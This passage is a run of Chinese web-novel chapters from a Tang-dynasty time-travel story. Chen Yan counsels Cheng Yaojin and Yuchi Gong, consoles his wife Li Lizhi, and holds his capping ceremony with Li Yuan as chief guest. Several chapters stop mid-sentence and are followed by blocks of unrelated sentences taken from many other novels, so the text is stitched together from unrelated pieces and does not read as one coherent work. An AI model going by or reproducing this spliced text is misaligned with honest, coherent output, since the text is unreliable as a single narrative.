陈衍一看他猥琐的表情,就知道他要去干什么了,挥了挥手,“祝你玩得开心,别被魏王妃抓着了。” “不会,不会,绝对不会......嘿嘿~” “......” “公子,您来啦?快里边请!” 来到程府门前,门房见陈衍到来便赶忙迎他进去。 “不用,你忙你的,我自己进去就行了。”陈衍摆摆手,轻车熟路地推开门,踏入府内。 一路上遇到不少熟悉的下人和丫鬟,纷纷朝着他行礼。 陈衍却不管不顾,随便找了个下人问:“程伯伯现在在家吗?具体在哪里?” 下人道:“回渭国公大人,国公爷目前在会客厅,吴国公大人也在。” “吴国公?”陈衍一怔,仔细想了想,这好像就是尉迟恭。 现在尉迟恭他们的爵位都变了,从鄂国公变成了吴国公。 “行,我知道了,你下去吧。”陈衍一点不客气,问清楚位置后,直奔会客厅而去。 正好,来到会客厅前时,还遇到了来上菜的丫鬟。 陈衍随手接过两盘菜,命丫鬟退去,然后自顾自用屁股顶开屋门。 里面,程咬金和尉迟恭还在寻思为啥打了一架没受到什么处罚,是不是犯的事不重,亦或者打了世家的人,正好合了李世民的心意? 尉迟恭拍桌子喊:“要俺说,上次就应该连同帮姓崔那厮说话的一帮人全打了,现在倒好,啥处罚都没有,俺俩这段时间费了老鼻子劲,一点用都没有!” “回家俺娘子都笑话俺上蹿下跳跟个猴儿似的,唉,晦气!” 程咬金摸着下巴,没说话。 他不像尉迟恭有时候脑子转不过弯来,总觉得自己这事有点不对。 不管打了姓崔的,有没有合李世民的心意,毕竟是在上朝的时候,当着满朝文武打的。 不说降职打板子,口头惩戒也得有吧? 否则在朝堂上打了人,屁事没有,以后还有人学他们怎么办? 那朝堂不就乱了吗? 以后谁还讲道理? 比比谁拳头大好了! “程老黑,你说句话啊!”尉迟恭催促。 程咬金不耐烦地挥挥手,“别吵吵,我不正在想......” 说话间,他余光一瞥,终于是发现了陈衍的身影。 “哎呀,我勒个天菩萨!”程咬金大喜,猛地起身哈哈大笑:“哈哈哈哈哈,好大侄儿,你来了咋不开腔呢?我都没发现你,你说这事整的!” “坐,快坐!” 尉迟恭愣了一下,随即喜上眉梢,顺手拿了新的餐具摆在刚被程咬金按着坐下来的陈衍面前。 “好大侄儿啊,你可得替俺们出出主意,上次你说的那个法子,俺们俩用了,但好像没啥用啊,陛下一点反应没有,这可咋整?” “咋整?”陈衍眼角抽搐,深吸一口气,“整不死就往死里整呗,还能咋整?” “当着满朝文武的面打人算什么?你们也别打人家了,直接跑到崔家的祖祠里,给人家祖祠烧了呗!” “嘶~”尉迟恭倒吸一口凉气,“论狠还是你狠啊,俺俩都没想到烧人家的祖祠,这可是不死不休的仇!不过俺......” “行行行,你上一边去!”程咬金立即打断尉迟恭的话。 没听出来陈衍在说反话吗? 你他娘的还真想去烧啊? “好大侄儿,怎么了?是不是出什么问题了?” 跟陈衍没什么好委婉的,程咬金索性直接问了出来。 陈衍望着面前两个大老黑,真想口吐芬芳,但一想到这两个老黑照料自己已久,自始至终对自己好的人,他又硬生生忍住了。 “......程伯伯,你们俩别瞎搞了行不行?太明显了,差不多就行了。” “更何况,离打仗还有差不多一年呢,要到明年冬天才出兵,你们急什么?” “今天我进宫了,陛下已经猜出来是我给你们出的主意,给我好一顿数落,连皇后殿下都说了两句。” “你们这段时间老老实实的吧,家里别死牛了,也别在外面惹事了。” 程咬金:“......” 尉迟恭:“......” “连......连皇后殿下都说俺俩了啊?”尉迟恭讪讪地挠挠头,也明白为何他们两个打了人,没受到处罚了。 估计就是因为他们做得太明显,被陛下看了出来。 处罚不是不来,而是没到! 程咬金也觉得有些尴尬,主要是自己犯了事,让陈衍挨了训。 自己这个当长辈的,没帮上陈衍什么不说,反倒给人家拖后腿,这让他脸上有点挂不住。 “不过......”陈衍拉长声音,目光在两人身上流转,吊足了他们胃口。 “不过什么,你快说呀。”尉迟恭是个急性子,焦急地催促。 陈衍含笑道:“不过你们那件事,我想应该是稳了的。” “......” 第510章 言简意赅 “果真吗?” 两个大黑耗子眼睛顿时亮了。 就目前来说,能被陈衍说稳了的事,那自然无需多言。 “果真!” 陈衍肯定道:“陛下未曾反感,我仔细想了想,认为陛下表现出来的更多是恨铁不成钢,您二位最近别整什么幺蛾子,老老实实带上点好酒,去找陛下喝一杯,暗自认个错,受点不轻不重的处罚就好了。” “那感情好!”尉迟恭欣喜道:“俺其实也不想整天上 这里是南方,因为气候等因素,水稻可达一年三熟。米婆婆的院子里就全是稻谷,空气里都是穗花的清香。老妪坐在一边,前几天忙了好久,今天天气不错,晒晒谷子,可以偷偷闲。 当时乞拉朋齐的两个好舍友拼命鼓掌,太长面子了,这才是全班武力值第二的男人该说的话。比起翼路·凡·刀更,乞拉朋齐家境一般,他的身世不容他冲动,所以他得忍,但不是将事情忍过去,而是等待一个合适的机会。 “呼哧,呼哧!”此刻,整个片空间星火固可燎原但是这无疑是捕风捉影。 我关家从来不愿意参与到这等纷争当中。此番我关家与万兽山来到此处,只是应了广大学员的请愿罢了。 杀气可以一定程度无视防御,直接攻击到星则渊,所以他一直喷血,在高温下化成渣滓。这么久以来,他从未遇到过这种情况。 独远思绪一掠,再次看着眼前。身为万劫地一方圣域的圣主,于妖类给与援手是必须。 “飞少他们真有钱,几万块的东西都买得起。”当然,对于外省人来说,马的价值到底怎么衡量,大多数人都不清楚。 白雾之中,姜凡那略显懵逼的声音缓缓响起,刚才那一下,把他肚子里的茶水吐了个七七八八,现在感觉真的好很多了。 想着,吴宪脸上的死灰之色有所消散,强撑着那因为孙子被抓,遭受打击而发虚的身体看向姜凡。 但是,这毕竟只是猜想,万一林飞根本没有给大熊猫看病,只是随便找了一个借口,不愿意来养殖场给猪治病,那么李成喜就要考虑,是不是再请一些兽医专家来诊治,每天都有新的病猪、死猪,他真的耗不起。 这半年来,跟他一起努力的是她;陪他四处奔波的是她;为他心力交瘁绞尽脑汁的也是她。 江团团没有忽略,她说的是“我们”,这个“们”字代表的自然是祝言知了,江团团听后原本有些消去的怒气腾的再次上来了,但她知道这事儿跟罗漪发不着火,故而就跟自己过不去。 娃娃说完便钻入水中,忽然听娃娃这么一喊,离未根本来不及反应,见娃娃这般举动,整个身体好像失去了控制一样,学着娃娃,也一低头弃了船,钻入水中,与此同时,念珠也在慌忙中钻入水中。 大胡子的花耀宗在靠山村可是第一次出现,所以当他出现在村民的视线里,瞬间便是吸引了所有人的目光。花耀宗的衣裳还是自己带来的,做山匪时穿的粗布麻衣,一点也不醒目。 雷横已经打倒了很多南星大陆的人,然后就冲着罗尘而来,想着这个应该是头头,只要拿下就可以控制住局面。 “万老板,我是想求您再次引荐一下肖大师。”黄海军有些尴尬的道,他已经猜到万东林生气的原因了。 听到关老大的话,正在喝酒的威索忍不住喷了对面的狗胖一脸,然后转过头神色有些错愕地看着关山。 第511章 来自李丽质手写的请柬 隔天,李丽质彻底处理好了刚搬完家的所有事,然后又赶紧拿出在渭南县时就提前准备好的请柬,打算安排人送出去。 一些关系不是特别亲近的,就让小顺子去送,关系亲近的,李丽质打算让陈衍和自己一同前去邀请。 所以一大早起床洗漱完,简单吃了些早餐,便拿出十多份请柬到处寻找陈衍。 只是让她疑惑的是,平时这个时辰,陈衍一般刚吃完早餐,要么去自己的书房看看书,要么就躺在后院晒 苏婉心想,她掩饰的已经很好了,为什么他们总觉得她有些脂粉气? 身后,许多弟子,早已流下了眼泪,这一幕太凄惨了,在这圣人不出的年代,半圣应当是无敌的,可是,为什么对方会走出一位圣人? 圣上子嗣那么多,之前申选再‘混’帐,他也做了十来年太子殿下,储君身份深入人心。如今一朝被废,不管改立哪个皇子为储君,都属于根基浅薄。 \t乔红程拿出手机给杨凤栖打电话,但是却是暂时无法接通,乔红程愣了一下,想起了丁长生,于是又打给了丁长生,但是得到的答复却是杨凤栖已经起飞了,目的地是美国纽约。 这道龙面境乃是黑羽会长老的趁手兵器,有着锁定空间的能力,甚至能增幅一成空间法则的力量,就算在准灵武中也算是不错了,而且其中爆出的彩光更能化作无数光枪,将敌人湮灭击杀或者困囚。 陈蕾微微垂首,目光显得有些尴尬,向着四周扫去,就是不敢停落在林轻凡身上。 妖兽们愤怒的鸣叫在空荡荡的草原上传达的极远,沼泽被毁,白白浪费了它们近千年的时间,怎叫这些妖兽不愤怒? 看到这些熟悉的面孔,林轻凡点点头,随手一挥,很多灵器仙器飞了出来,全部都悬浮在院子里。 纤纤素手,指尖力道加重,长剑在空中急速飞舞,在月下清风中的黑夜里,肆意挥洒奔流。 “因为我们比他们身上多了点东西。”我意有所指的对项彦眨了眨眼。 狭长的桃花眼微微眯起,看着那就算是风雪也抵挡不住的微微春意。 “叶天,你终于来了”叶天刚走到宿舍没口,就听到王建那大嗓门的声音。 换了衣裳,叶葵便是真的不想动弹了。又想着要给三夫人些脸色看。好叫她知道她能有今日这日子都是谁给的机会。这般想着,叶葵便让人服侍自己躺到了床上,连饭也不肯用便睡去了。 方恒醒来的时候,已经是下午五点钟左右,太阳下山,天色渐渐晚下来,厢房里没有火炉,特别特别的冷,我俩从早上到现在,一点东西没吃,饿得肚子咕咕叫。 “这种体力活,还是由我们男生来吧。”蓝麟风微笑着揽活儿道。 “你好,我是顾婉婉。你就是王老师介绍的补课学生吧?”顾婉婉走过来,先向张若风打招呼。 大量歌手纷纷涌向金牌大风的同时,华艺旗下的那娜在周三上午召开记者招待会,声泪俱下的向刀郎、兰陵笑笑生道歉,同时也哭泣的倾诉自己的身世,说自己也是农民的孩子,自己说那样的话没有半点恶意……。 事情说起来很复杂,但做起来就很简单了,核心论点推导到现在,就是“变动会出现、会在那个时候出现、会出现那个方向”,1号早上去卖空,然后观望一下,看看是否要等3号非农再来一轮。 刹那间云淡风轻,一道曙光划破天际,照亮了漆黑的漫长的黑夜,仿佛也照亮了邵安的过去。 第512章 被打得下不来床 沉思片刻,杜如晦缓缓开口:“让你管户部,实际来说,好处是大于坏处的。” “好的点在于,这既充分表明了陛下对你的信任与看重,以至于不惜扛着压力,让你的官位进行一次跃迁。” “又代表着,你正式踏入了朝堂的巅峰,属于大唐顶峰的那一小撮人之一。” “它不仅仅是权力、官位大小,更重要的是,你将正式进入仅有几人的小圈子,拥有提议、决断、否决权!” “坏的点 从竹中重治处回来后,雨秋平惊讶地发现真田昌幸已经在屋子里等着他了。 只是好景不长,所有人都没有预料到,接下来事情的发展。总是有人对苏和泰和云瑶之间和睦相处的样子不满的。 “万毒幻蝎击!”而那只灵蝎面对着楚烨的这一击天崖劈,当即用着自己仅有的那一只巨钳,同样也发动了自己最强的一击。 雨秋平思索了一下,想利用自己穿越者的优势想出一些解决办法。 雨秋平的话立刻引起了城内的骚动,不少鸦之前潜入的细作开始趁机带节奏,煽动信徒对本愿寺僧侣坊官的不满。本愿寺的人匆忙弹压,这才勉强遏制住了势头。 嫣然收集到了周敏淇窃取商业机密的实证,将人送进了监狱的大门。 气就气在这里,安然不是雷江,她要做好人好事,就真的在做好人好事儿,她从没想过得到任何报酬,但帮扶对象自己的心意都不诚,日防夜防跟防贼一样的防着她,她这好人好事做的也没味。 他们的生活里,很少没吃到这么好的东西,所以感觉吃起来特别的好吃。 虽然不明白这件礼服有多厉害,不过从他们的语气和表情里,也能看的出来,是一件很厉害的礼服。 异国他乡遇到国人,多少会自来熟些,男生看着顾浅,也没有尴尬的感觉,目光就这么大刺刺看着她,心里啧啧称赞。 看着的她的眼神,哪里是生怕她出什么事,简直是恨不得她能出些事。 握着手机的手紧了紧,皱了皱眉头,一直安慰自己,才五天,推迟一个星期都是正常的,更何况这些日子的状态特别的不好,不是受伤就是感冒的,推迟也应该是正常的。 还没有到中午的时候三龙就过来神秘兮兮的把我叫到了拳场外面,说是浩哥已经在等着了,现在就可以出发。 “主子,皇后娘娘是不是不想召见我们?外面风大,您又一个劲的咳嗽,咱们还是回去吧。”碧儿担忧的望着李妃娘娘,怕她会撑不下去。 欣嫣走了过去坐下,眼神一时看这儿一时看哪儿,却是一副欲言又止的模样。 跟着山本在此间的第三层又走了几百米以后,眼前就出现了一间石室,随着山本上前拉动了外部连到里间的机关铜铃,里面的人听到动听后,没有多长的时间,这间石室的大门这才缓缓的向着两边打开了。 傅睿明对秦钰是满意的,这孩子一心一意满眼都是胭胭,和他年轻时一样,他是很放心的。 一幕又一幕,终要谢幕,过程虽惨,好在结局不错,以后,他要少点应酬多陪陪家人,要少喝酒吃烟,多省些奶粉钱。更要牢记结婚纪念日,每年送上一份大礼。 这阵子,她总是做梦,开始还只是梦见父亲,接连着的一个星期,总能梦见那个还没有出世的孩子。 “抓我?你有什么证据?”龙谦一脸轻松,就好似张风要抓的人,并不是自己。 第513章 以理服人、以德服人 面对杜如晦的坦诚,陈衍目瞪口呆,李丽质欲言又止。 被打得下不来床可还行? 陈衍表情那叫一个古怪,他一直知道大唐的女人很彪悍,连程咬金、房玄龄这样的人物都得挨揍。 特别是房玄龄,是出了名的惧内。 但陈衍以前见过杜构的夫人很多次,印象一直不错,识大体、知分寸,堪称贤妻良母的典范。 咋都没想到,杜夫人狠起来竟然这么狠! “呃.....”陈衍尬笑,“看来杜兄比较疼爱自己的妻子哈。” 杜如晦淡笑着摆摆手,“好了,不说这个,我再给你一句忠告。正式上任之后,别着急做出什么功绩,打压、收买、甚至暗中处理一批人,让户部真正掌握在自己手中,这才是最重要的。” “否则,那些自视甚高,心思肮脏之辈,对你的命令只会阳奉阴违,你想做什么都做不成。” “可能你只是下一道简单的命令,让人做些事,他们都敢给你拖很长时间。” 陈衍眉头一皱,“暗中处理掉一些人?朝堂的水这么深吗?” 听到这话,杜如晦淡淡瞥了他一眼,“连太子都能病重,险些丢了性命,几个官员算什么?” “人不狠,站不稳!” “只要你做得天衣无缝,没人查得出来什么,那自然没什么问题。” “啧啧啧,真他娘的黑啊!”陈衍由衷感叹一句,随即摇头,“但长孙皇后说了,我是好孩子,好孩子怎么能做这种事呢?” “杀人的事我不做,我是读书人,做任何事之前,都得讲个理字,所以我平时最喜欢的是以理服人。” “蔡国公放心,若有人不服我,我会跟他们好好讲讲理的!” 杜如晦意味深长道:“那若是讲不通呢?” “讲不通理,那我还有德!”陈衍很认真地表示,“我娘在世的时候,老跟我说,人生在世,万万不能失了德。” “故此我从小练德,到现在德才兼备,以德服人,未尝不可!” “呵呵......”杜如晦沉默两息,再次表示你高兴就好。 第一次进早朝就指着满朝文武骂娘,因为被烧了一座工坊,出手即险些覆灭了一个百年大族,连宫里那位皇后之下第一人都没敢吭声。 你说你喜欢以理服人? 拉倒吧! 信你不如信杜构不怕娘子。 “......” 在杜如晦家里美美吃了一顿饭,去看了看被锤得下不了床的杜构。 怎么说呢,杜夫人下手很有分寸,没往脸上招呼,陈衍还给他看了下,发现就是些皮肉伤,没什么事。 从杜府离开,陈衍便又跟李丽质开始了送请柬,直到快到晚上的时候,总算把所有请柬送出去了。 陈衍跟李丽质一脸疲惫地回到家里,在椅子上坐了一会儿。 而后李丽质强忍着酸痛的腿起身,“夫君,你先坐一会儿,我去给你打点洗脚水。” 陈衍闻言抬头,“为啥不让下人去?” “你费那个劲干什么?” 李丽质登时懵一瞬,反应过来后,尴尬地脸都红了,“我.....我忘了。” 陈衍乐道:“咱俩都成婚这么久了,你怎么还是跟以前一样喜欢脸红呢?” “好啦,坐着歇息吧,让青儿她们去就好了。” “嗯......”陈衍不说还好,一说,李丽质脸更红了,乖乖地坐了下来。 陈衍叫来青儿,让她去准备泡脚水,随即一只手撑着下巴,侧头望着李丽质。 “你......你看什么呀?” 她这么久了依然很害羞,面对陈衍的目光,不自觉地偏过头。 “看你好看呗。” 陈衍淡淡笑着,“说真的,高阳看似无所畏惧,实则刚成亲那会儿,会比你还害羞,洞房第二天缩在被窝里不愿意出来,生怕我看到什么。” “结果现在就没脸没皮了,只有我在的时候,一点不顾忌自己的形象,一丝不挂地乱窜更是常有的事。” “你倒是跟她相反,直到现在依然跟未出阁的女子一样。” 李丽质听后赶忙解释道:“夫君,我没有排斥你的意思,我就是......就是......” 话到嘴边,她忽然不知道该怎么解释了,小脑子疯狂运转,思考着一个合理答案。 然而,想了半天,想得脑袋都冒气了,仍然没想出好的答案。 陈衍拍了拍她的手,安慰道:“好啦,我知道你没有那个意思,不用想太多。” 紧接着,他又道:“说起来,咱俩成婚也快一年了,这一年里,你过得开心吗?” “开心啊。”李丽质不假思索道:“有你、有高阳、有兕子她们,我每天过得其实很充实,比从前在宫里好太多了。” “偶尔想出去走走,也能随时出去,在家无聊的话,还能跟四皇嫂与高阳她们打打麻将,我很满足了。” “是吗?”陈衍心情复杂,直言道:“可自从你嫁过来之后,偌大个家里,几乎是你一人在操心。小到房间的干净整洁,大到操劳家里家外,连我及冠宴的请柬都是你亲自写的。” “反而高阳,却整天什么都不用做,平时也只给小岁安喂喂奶,其他时候都是香岚她们在照顾,清闲得很。” “你心里没有不平衡吗?” 李丽质微怔,“我为何要不平衡?我是你的妻子啊,帮你照顾好家里的一切,不是应该的吗?” “再者,我本来就是姐姐,照顾高阳也是应该的,这些都属于分内之事,为何要觉得不平衡?” 陈衍听完,语塞了。 看了李丽质一会儿,挠挠头,再次感觉到了这个时代女子的不同。 在李丽质的认知里,男主外,女主内,本就是天经地义之事。 沉思片刻,陈衍干咳:“那你说实话,你有没有觉得,我对高阳更好一点,然后对你差了一点?” “不用试图骗我,你知道吗?你说谎的时候,眼睛特别明亮,而且会直勾勾地盯着我,耳尖同样会泛红。” 听到这话,李丽质一下子愣住了,手指下意识地卷着衣袖,显得很是不知所措。 “......” 第514章 愧疚 尽管李丽质没有说话,但这已经是最好的回答了。 依稀记得,从前陈衍还跟李渊说,一碗水是永远无法端平的。 可陈衍却总在心里想着,对待李丽质和高阳要一碗水端平。 而实际上,他对待高阳确实要好很多,不管是生活中细节方面的,还是平时的聊天,他总会迁就高阳多些。 陈衍并不想这样,但根本没办法,高阳是他两辈子加起来的第一位妻子,也是第一个给自己生孩子的妻子。 在相处上,跟高阳在一起也更有趣。 曾经,他甚至说过,如果一定要在两人之间选一个人过一生,那他一定选高阳。 这并不是用来哄高阳的假话,而是陈衍确实是这么想的。 两人沉默间,青儿带着一名丫鬟,端着两盆泡脚水敲门进来。 “少爷,要我为您洗洗吗?”青儿放下木盆,轻声询问了一句。 “不用了,我跟丽质今天走累了,想安静地泡泡脚,你们先出去吧。”陈衍淡淡道。 “噢~” 青儿眨眨眼,悄咪咪地看了两人一眼,感觉周围的气氛有些不对劲,便不再多言,乖乖带着丫鬟出去了,还顺手关上了门。 “夫君,我方才想了想,倘若你什么时候有空了,带我出去逛逛,我就已经很满足了,不觉得委屈。” 李丽质轻轻吸了口气,鼓起勇气说。 陈衍听后心情更复杂了。 多么简单的要求啊,只是让你在有空的时候带她出去走走,稍微花点时间陪她。 就这还是她鼓起勇气说出来的话。 我真特么该死啊! “.......好!” 陈衍声音微微发涩,心里万般言语,只道出了一个‘好’字。 遥想贞观四年,眼前的女子不顾一切地想要嫁给自己,为此不惜求到了李渊那里,让李渊在长孙皇后的寿宴上公开表态。 还说着拙劣的谎言,让自己帮忙出主意。 而当时的他不仅坐看高阳与李丽质争风吃醋,最后享了齐人之福,却又没有特别重视李丽质。 越想,便越觉得不是滋味。 “哎!” 陈衍微微叹息,起身来到李丽质面前缓缓蹲下,伸手抓住她的脚。 后者倏地瞪大双眼,已经猜到他要干什么了。 “不不不......不行的夫君。”李丽质一边慌忙地想抽回脚,一边弯下身子阻止。 “我从前又不是没给你按过,那么着急拒绝做什么?总得给我一个稍微弥补你的机会吧?” 陈衍笑道:“你现在应该想,这是我欠你的,谁让我对高阳明显比对你好得多,让我给你按按脚也是应该的。” “这算哪门子道理?”李丽质哭笑不得,却也没再阻止了。 实际上,她心里是隐隐有些被说动了。 悄悄瞥了他一眼,抽了口气,暗道:“就一次,就今天这一次,以后绝不让夫君做此事了。” 陈衍轻轻替她脱去鞋袜,露出白皙小巧的脚丫,认真替她洗着。 屋内一下子安静了下来,两人谁都没再开口,李丽质静静地看着他,脑子里各种念头如流星般划过。 忽然,她想到了一件事,抿了抿唇,小声试探着问:“夫君,你给高阳写的‘云想衣裳花想容’那首诗叫什么名字啊?” “我觉得挺好的,想记下来。” 陈衍眼神微微一变,抬头望着她,面色颇为古怪。 这暗示得好像有点明显了吧? 他揶揄道:“你真的只是想问问名字吗?如果是的话,那么告诉你自然无妨,如果不是的话......你其实可以直接跟我说。” “我又不是不能满足你。” 李丽质听后默然一会儿,幽幽道:“云想衣裳花想容、衣带渐宽终不悔,光这两句,试问哪个女子听了不羡慕?” “我若是旁人也就罢了,可我同样是你结发妻子啊。” “可以理解。”陈衍颔首,“我若是你,我也觉得心里不平衡,不过这种事真的看缘分,不是说我想写就能写得出来的。” “文章本天成,妙手偶得之。” “那句云想衣裳花想容,是当初高阳嫁给我那天,我脑海中骤然浮现出的。” 李丽质眼睛骤然变得亮晶晶的。 这种诗一时写不出来,她很能理解,毕竟多少诗人为了一个字呕心沥血而不得,更何况像这种足够流传千古的诗呢? 可陈衍这句‘文章本天成,妙手偶得之’再度惊艳到了她。 仅仅听到这一句,她就感觉今天值了。 “没关系的,夫君记得便好,什么时候我都不在乎。” 李丽质嘴角扬起一抹愉悦的笑,不仅仅是因为陈衍的承诺,也是被按得实在舒服。 她吐出一口气,真情实意道:“夫君,其实我嫁给你之前,没有想过要跟高阳争个高低,我就想着,在你心里占据一个位置便好了。” “可我有时候确实忍不住羡慕,心里有些泛酸,我不是故意闹,更没想奢求太多,你只要将我放在心上,我真的就知足了。” “如那天般闲逛,如今天般好好相处片刻,我觉得比任何诗词都要美。” 陈衍静静听着,手上的动作不知不觉停了下来。 他抬起头,对上了李丽质那双清澈而真诚的眼眸,那里面的光,温暖得直入人心。 此时此刻,他真的很想感慨一句。 得妻如此,夫复何求啊? “我......” 陈衍张口欲言,然而这时,门被推开。 高阳走进来,瞪着李丽质,“我刚刚都在外面听老半天了,你怎么还跟小时候一样,一点都不争气呢?” “你越听话,他就越欺负你!” “要我说,他若对你不好,你就每天什么都不管,让家里变得一团糟,届时他就知道你的好了。” “如果这样还不行,那你就去告诉母后啊,让母后替你做主!” 李丽质此刻已经懵了。 不是因为高阳的话,而是因为,她跟陈衍单独相处的时候,为什么老有人在外面偷听? 以前是小兕子,现在是高阳。 没完没了吗? “.....” 第515章 大宾人选 十月初十,天气已经到了需要多穿两件衣服的地步。 在天色未亮的时候,整个渭国公府已经灯火通明,上到李丽质,下到丫鬟下人,全部都早早起床开始忙碌。 及冠是男子一生中最重要的几个日子之一,自然不能草率。 特别是像陈衍这等身份,来往的宾客全是有头有脸的人物,几乎只有勋贵才能踏入这个门,更是方方面面都得注重到。 李丽质早早便起床,带着下人把府中里里外外都打扫了不止一遍,一切在及冠时用到的东西,都经过她再三检查。 连平常懒得跟头猪一样的高阳,也在跟着忙碌。 李泰一家虽说是客人,却也在帮忙。 而作为今天主角的陈衍,却跟周围显得有些格格不入,这里走走,那里看看,压根不知道自己要干啥。 哪怕想帮点忙,立刻便被李丽质阻止,让他好好待着。 陈衍长叹,只得在府里闲逛起来。 很快,天微微亮的时候,程处默三兄弟以及杜构、房遗直来了。 陈衍自认为找到了自己的事,兴冲冲地迎了上去。 “哈哈哈,诸位兄弟里面请,我已......” “请啥请啊?”程处默揽着他的肩膀,打断他的话,“我们是来看看有什么帮忙的,就不用你请了!” “再者,今天这个日子,哪里能让你出来迎客?” “你去歇着吧,我们来!” 秦怀道含笑点头,“从今天开始,咱们就全得叫你子安兄了!” 此时杜构插话道:“家父与家母在后头一步,我就先过来了,子安兄,应该没来晚吧?” 陈衍眨眨眼,“来倒是没来晚,就是......你身体好了?” 杜构:“......” “如果你不提此事的话,我们还能高兴地聊天。” “哈哈哈哈哈。”陈衍顿时乐了。 “来啦,我来啦。”这时,李泰小跑着过来,“子安兄,我来帮你迎客,你歇着吧,天色已亮,宾客差不多要登门了。” “那感情好啊!”尉迟宝琳大大咧咧道:“魏王殿下亲自帮忙迎客,今天的宾客们怕是都得沾了子安兄的光!” “如若不然,在其他时候什么时候能见到殿下帮忙迎客呢?” 房遗直犹豫道:“说是这样说,但魏王殿下毕竟身份尊贵,来跟我们一般迎客,是不是不太合适?” 李泰含笑拱手,“房兄说笑了,我不过是个在子安兄家里混吃混喝的闲人罢了,力所能及范围内,帮点忙有什么不好的?” “放心吧,我心里有分寸。” 见他坚持,大家不好说什么,随即纷纷赶陈衍离开。 “我......” 陈衍无言,眼看大家都坚定地帮他,心里颇为感动,只能点头答应下来。 待他离开后,一行人便整理好衣裳,来到了府门前。 现在还没什么宾客上门,所以他们便开始闲聊起来。 程处默想起一回事,“对了,你们知不知道子安兄选的‘大宾’、‘赞者’是谁?” “不是你爹吗?”尉迟宝琳反问。 “不是啊!”程处默有些懵。 大宾,即是及冠者需要提前选出来帮忙束缁布冠之人,而赞者是助手。 这是及冠必要的流程,同样是及冠宴不可或缺的人物。 一般来说,及冠者都会选自己的长辈,或者德高望重的名士来作为‘大宾’。 陈衍没亲人,跟程咬金的关系最好,大家下意识认为‘大宾’是程咬金。 现在听程处默这么一说,才发现不是。 程处默和尉迟宝琳的目光瞬间放在了秦怀道身上,如果‘大宾’不是程咬金,看样子也不是尉迟恭,那应该就是秦琼了。 然而,秦怀道却摇了摇头,“家父是正常宾客,子安兄并未请家父担任‘大宾’。” 紧接着,大家的目光又放在了杜构和房遗直身上。 如果程咬金他们都不是,剩下的可能无非那么几个。 其中杜如晦和房玄龄的可能更大。 只是,杜构和房遗直也同时否认了,表示杜如晦他们也不是陈衍选的‘大宾’。 “那就奇了怪了。” 众人皆感到不可思议,陈衍没选关系好的长辈,难不成选了个德高望重的名士? “诸位不用猜了。” 李泰忽然开口,“我在子安兄家里住了许久,对此事有所了解,子安兄一开始是想让程将军担任‘大宾’的,只是后来,因为某些原因不得不换了一个人选。” “具体的我不能说,等待会你们就知道了。” 大家面面相觑,心里已经多了几分猜测。 让魏王都直言不太好说,而且可以让陈衍不得不放弃原本选好的‘大宾’人选,那答案还不明显吗? 除了顶上那位还能有谁? 众人默然,已经无话可说了。 让当今圣上亲自过来担任‘大宾’,为他束缁布冠,此等殊荣,天下再也找不出第二例了。 李泰清楚他们在想什么,淡淡笑了笑,露出一个意味深长的眼神,什么都没解释。 等之后他们就知道了。 不久,李泰命人拿出通过爆竹、加入火药改良的鞭炮点燃。 虽然做大炮、火铳很困难,但对李泰来说,做这么一个超小型的鞭炮,用来热闹热闹却是一点问题没有。 当鞭炮点燃的一瞬间,渭国公府前顿时鞭炮齐鸣,诸多受邀的宾客也陆陆续续地来了。 李泰等人客客气气地一一将人迎进去,渭国公府立马变得热闹了起来。 期间,杜如晦、程咬金等人自然不会缺席,几乎是拖家带口地来,妻儿子女都带上了。 在吉时之前,两位极其特殊的客人到了。 “臣......臣等拜见陛下,皇后殿下!” 杜构等人愣了一下,随即赶忙行礼。 明明之前已经猜到了一下,但当李世民和长孙皇后两人都来的时候,他们仍然止不住震惊。 李世民轻飘飘地摆摆手,“无需多礼,你们忙你们的。” 说着,他带着长孙皇后缓缓踏入府中。 顷刻间,渭国公府沸腾了。 “......” 第516章 及冠 府内乌泱泱弯下去一大片人,李世民携长孙皇后淡定地走过,直至来到最前面,才淡定道: “行啦,起身吧,朕今日与皇后一同前来,是为了见证渭国公的及冠礼,与尔等一样是宾客,你们该如何就如何。” “臣等谢过陛下,皇后殿下!” 大家闻言起身,重新坐下。 但能来这里的都不是傻子,已经听明白了李世民的潜台词。 一句与尔等一样是宾客,就是在告诉他们,别分不清主次,今天最重要的是陈衍的及冠礼。 此时,陈衍端坐在正厅首位,李世民跟长孙皇后走进来,他起身微微欠身行礼。 随后笑道:“陛下,皇后殿下,我还以为您二位今天不会来呢。” 李世民没好气道:“你应该是在说朕不会来吧?观音婢平日里还是能腾出空来的,你觉得朕要上朝,所以不能来?” 被拆穿心思,陈衍有点尴尬,“其实我是觉得不必劳烦您专门来一趟,毕竟我的字,母亲在生前已经取好了,今天就是走个流程,让大家见证一下罢了。” “你上次还说一个女婿半个儿,你娶了朕两个女儿,四舍五入,跟朕形同父子,怎么现在又不必劳烦朕过来一趟了?”李世民似笑非笑道: “还是说,你不把岳父当父?” 陈衍眼角直抽,这话有点不太好接啊。 长孙皇后此时插话说:“二郎,先坐吧,吉时快到了,别耽误了时辰。” 说完,她有些奇怪地看了陈衍一眼,总感觉陈衍有点不太希望李世民过来。 李世民只是开开玩笑而已,知道时辰不能耽误,便跟长孙皇后在李丽质的安排下坐下了。 紧接着,程咬金、尉迟恭、秦琼、杜如晦等跟陈衍关系特别好的亲友,同样携带自己的夫人进来。 他们关系相近,可以在正厅内见证陈衍及冠。 只是,当大家坐下之后,跟之前程处默他们相同的疑惑冒出来了。 按理来说,吉时快到,应该到了‘大宾’、‘赞者’出来的时候,为何现在依然没见人? 众人面面相觑,各自环顾,一时有些摸不着头脑。 连李世民和长孙皇后都已经开始蹙眉了。 流程进行到现在,在场的人谁都明白,在座各位都不是‘大宾’,那么这人到底是谁? 为何不来? 排场这么大吗? 李世民心有不满,张口欲言,外面突然传来一阵骚动。 还没等他们搞清楚状况,一身盛装的李渊、李承乾来了。 众人皆惊,连忙起身行礼。 “起来吧,不必多礼。” 李渊微微叹息,“朕年纪有些大了,今天起晚了些,不过还好没有耽误时辰,小子安,你准备好了吗?” 陈衍点点头,表示已经准备好了。 另一边,长孙皇后终于明白为什么陈衍好像有点不太想让李世民过来了,原来是李渊要过来啊。 而李世民则在暗自庆幸,还好刚刚没多说什么,否则好不容易跟李渊关系有所缓和,可能又要变差。 接下来,李渊与陈衍以及李承乾共同出门,引宾升堂,各就席位。 李渊自然是作为‘大宾’,而李承乾则是‘赞者’,这是回长安之后,李渊特地命人传话过来要求的。 所以才让陈衍改变了原先请程咬金的想法。 